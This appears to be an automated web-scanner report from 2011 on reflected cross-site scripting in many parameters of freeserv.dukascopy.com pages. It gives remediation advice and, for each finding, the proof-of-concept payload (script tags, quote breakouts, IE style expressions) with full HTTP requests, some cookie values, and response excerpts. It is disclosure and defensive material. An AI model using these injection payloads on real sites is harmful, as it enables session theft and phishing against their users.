Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the id request parameter is copied into the HTML document as plain text between tags. The payload f28e5<script>alert(1)</script>b7495ce1d64 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /advert/showX.php?id=27f28e5<script>alert(1)</script>b7495ce1d64&prodId=market_report_X&type=0 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://freeserv.dukascopy.com/analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c450b'-alert(1)-'5a479a8bda8 was submitted in the bg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4c450b'-alert(1)-'5a479a8bda8&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:58 GMT Server: lighttpd/1.4.26 Content-Length: 24841
The value of the col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32b7b'-alert(1)-'c039a14e6ba was submitted in the col parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d032b7b'-alert(1)-'c039a14e6ba&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:01 GMT Server: lighttpd/1.4.26 Content-Length: 24841
The value of the fnt_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a105'-alert(1)-'66fdab2a50d was submitted in the fnt_col parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=0000007a105'-alert(1)-'66fdab2a50d&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:05 GMT Server: lighttpd/1.4.26 Content-Length: 24841
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... E) ? 10 : 0) ) + 'px'; setTimeout('smFix()',50); }
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=0000007a105'-alert(1)-'66fdab2a50d&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l; } </script> ...[SNIP]...
The value of the hgt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a1c5'-alert(1)-'6f6dee1de was submitted in the hgt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=2927a1c5'-alert(1)-'6f6dee1de&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:15 GMT Server: lighttpd/1.4.26 Content-Length: 24840
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... ; setTimeout('smFix()',50); }
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=2927a1c5'-alert(1)-'6f6dee1de&sel=0&tit=Daily+Market+Reports'+'&lang='+l; } </script> ...[SNIP]...
The value of the lnk_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3812a'-alert(1)-'9ea896562f3 was submitted in the lnk_col parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=0055993812a'-alert(1)-'9ea896562f3&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:10 GMT Server: lighttpd/1.4.26 Content-Length: 24841
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... + 'px'; setTimeout('smFix()',50); }
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=0055993812a'-alert(1)-'9ea896562f3&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l; } </script> ...[SNIP]...
1.7. http://freeserv.dukascopy.com/analytics/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://freeserv.dukascopy.com
Path:
/analytics/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b6fc'-alert(1)-'638b4f88232 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports&6b6fc'-alert(1)-'638b4f88232=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:38 GMT Server: lighttpd/1.4.26 Content-Length: 24844
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports&6b6fc'-alert(1)-'638b4f88232=1'+'&lang='+l; } </script> ...[SNIP]...
The value of the sel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f2361'-alert(1)-'70cd362e38c was submitted in the sel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0f2361'-alert(1)-'70cd362e38c&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:27 GMT Server: lighttpd/1.4.26 Content-Length: 25011
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... Timeout('smFix()',50); }
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0f2361'-alert(1)-'70cd362e38c&tit=Daily+Market+Reports'+'&lang='+l; } </script> ...[SNIP]...
The value of the tab_x request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ee45'-alert(1)-'8f96bfd09b9 was submitted in the tab_x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=2181ee45'-alert(1)-'8f96bfd09b9&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:54 GMT Server: lighttpd/1.4.26 Content-Length: 24841
The value of the tit request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72525'-alert(1)-'35c44f02e22 was submitted in the tit parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports72525'-alert(1)-'35c44f02e22 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:35 GMT Server: lighttpd/1.4.26 Content-Length: 24869
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]...
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports72525'-alert(1)-'35c44f02e22'+'&lang='+l; } </script> ...[SNIP]...
The value of the tit_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6f13'-alert(1)-'f8f7513db66 was submitted in the tit_col parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000c6f13'-alert(1)-'f8f7513db66&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:03 GMT Server: lighttpd/1.4.26 Content-Length: 24841
<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <ht ...[SNIP]... oBodyW - ((nonIE) ? 10 : 0) ) + 'px'; setTimeout('smFix()',50); }
function chg_lang(s) { l=s.options[s.selectedIndex].value; document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000c6f13'-alert(1)-'f8f7513db66&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l; } </script> ...[SNIP]...
The value of the BG_all request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e472c%20style%3dx%3aexpression(alert(1))%2057b386f1a75 was submitted in the BG_all parameter. This input was echoed as e472c style=x:expression(alert(1)) 57b386f1a75 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6e472c%20style%3dx%3aexpression(alert(1))%2057b386f1a75&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:25 GMT Server: lighttpd/1.4.26 Content-Length: 15654
The value of the C10 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a77a6'%3balert(1)//b6c364b97db was submitted in the C10 parameter. This input was echoed as a77a6';alert(1)//b6c364b97db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_selfa77a6'%3balert(1)//b6c364b97db&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:24 GMT Server: lighttpd/1.4.26 Content-Length: 15590
<head> <title>Dukascopy Running Bo ...[SNIP]... <script> var oPopup = window.createPopup(); var TM_OUT = null; var link_terget = '_selfa77a6';alert(1)//b6c364b97db'; var Q_num = false; var multi_url1 = ''; var multi_url2 = '';
function richToolTip(T,oB) { if(TM_OUT != null) window.clearTimeout(TM_OUT);
var lefter = event.offsetY + 0; var topper = e ...[SNIP]...
The value of the C3 request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ebad8'style%3d'x%3aexpression(alert(1))'e1bf3c6b891 was submitted in the C3 parameter. This input was echoed as ebad8'style='x:expression(alert(1))'e1bf3c6b891 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFFebad8'style%3d'x%3aexpression(alert(1))'e1bf3c6b891&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:22 GMT Server: lighttpd/1.4.26 Content-Length: 15986
The value of the C9 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e209f'%3balert(1)//ecf7a0f343 was submitted in the C9 parameter. This input was echoed as e209f';alert(1)//ecf7a0f343 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=e209f'%3balert(1)//ecf7a0f343&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
